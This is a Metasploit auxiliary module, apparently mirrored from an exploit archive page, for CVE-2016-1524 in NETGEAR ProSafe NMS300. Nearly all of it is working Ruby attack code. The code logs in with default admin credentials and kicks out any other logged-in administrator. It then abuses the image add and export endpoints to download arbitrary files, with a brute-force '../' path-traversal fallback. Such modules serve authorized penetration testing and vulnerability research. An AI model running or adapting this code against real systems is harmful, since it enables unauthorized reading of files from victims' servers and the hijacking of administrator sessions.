Share
## https://sploitus.com/exploit?id=PACKETSTORM:180893
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download',  
'Description' => %q{  
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.  
The application has a file download vulnerability that can be exploited by an  
authenticated remote attacker to download any file in the system.  
This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.  
},  
'Author' => [  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2016-1524'],  
['US-CERT-VU', '777024'],  
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],  
['URL', 'https://seclists.org/fulldisclosure/2016/Feb/30']  
],  
'DisclosureDate' => '2016-02-04'  
)  
)  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [true, 'Application path', '/']),  
OptString.new('USERNAME', [true, 'The username to login as', 'admin']),  
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),  
OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']),  
]  
)  
  
register_advanced_options(  
[  
OptInt.new('DEPTH', [false, 'Max depth to traverse', 15])  
]  
)  
end  
  
def authenticate  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),  
'method' => 'POST',  
'vars_post' => {  
'userName' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
},  
'vars_get' => { 'method' => 'login' }  
})  
  
if res && res.code == 200  
cookie = res.get_cookies  
if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/  
# another admin is logged in, let's kick him out  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),  
'method' => 'POST',  
'cookie' => cookie,  
'vars_post' => { 'singleId' => ::Regexp.last_match(1) },  
'vars_get' => { 'method' => 'loginAgain' }  
})  
if res && res.code == 200 && (res.body.to_s !~ /"success":true/)  
return nil  
end  
end  
return cookie  
end  
return nil  
end  
  
def download_file(download_path, cookie)  
filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.img'  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'cookie' => cookie,  
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),  
'vars_get' => {  
'method' => 'add'  
},  
'vars_post' => {  
'realName' => download_path,  
'md5' => '',  
'fileName' => filename,  
'version' => Rex::Text.rand_text_alphanumeric(rand(8..9)),  
'vendor' => Rex::Text.rand_text_alphanumeric(rand(4..6)),  
'deviceType' => rand(999),  
'deviceModel' => Rex::Text.rand_text_alphanumeric(rand(5..7)),  
'description' => Rex::Text.rand_text_alphanumeric(rand(8..17))  
}  
})  
  
if res && res.code == 200 && res.body.to_s =~ /"success":true/  
res = send_request_cgi({  
'method' => 'POST',  
'cookie' => cookie,  
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'),  
'vars_get' => {  
'method' => 'getPageList',  
'type' => 'configImgManager'  
},  
'vars_post' => {  
'everyPage' => rand(500..1498)  
}  
})  
  
if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/  
image_id = ::Regexp.last_match(1)  
return send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),  
'method' => 'GET',  
'cookie' => cookie,  
'vars_get' => {  
'method' => 'export',  
'imageId' => image_id  
}  
})  
end  
end  
return nil  
rescue Rex::ConnectionRefused  
print_error("#{peer} - Could not connect.")  
return  
end  
end  
  
def save_file(filedata)  
vprint_line(filedata.to_s)  
fname = File.basename(datastore['FILEPATH'])  
  
path = store_loot(  
'netgear.http',  
'application/octet-stream',  
datastore['RHOST'],  
filedata,  
fname  
)  
print_good("File saved in: #{path}")  
end  
  
def run  
cookie = authenticate  
if cookie.nil?  
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")  
else  
print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")  
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie) # more consistent service_name and protocol  
end  
  
if datastore['FILEPATH'].blank?  
fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.")  
return  
end  
  
filepath = datastore['FILEPATH']  
res = download_file(filepath, cookie)  
if res && res.code == 200 && (res.body.to_s.bytesize != 0 && (res.body.to_s !~ /This file does not exist./) && (res.body.to_s !~ /operation is failed/))  
save_file(res.body)  
return  
end  
  
print_error("#{peer} - File not found, using bruteforce to attempt to download the file")  
count = 1  
while count < datastore['DEPTH']  
res = download_file(('../' * count).chomp('/') + filepath, cookie)  
if res && res.code == 200 && (res.body.to_s.bytesize != 0 && (res.body.to_s !~ /This file does not exist./) && (res.body.to_s !~ /operation is failed/))  
save_file(res.body)  
return  
end  
count += 1  
end  
  
print_error("#{peer} - Failed to download file.")  
end  
end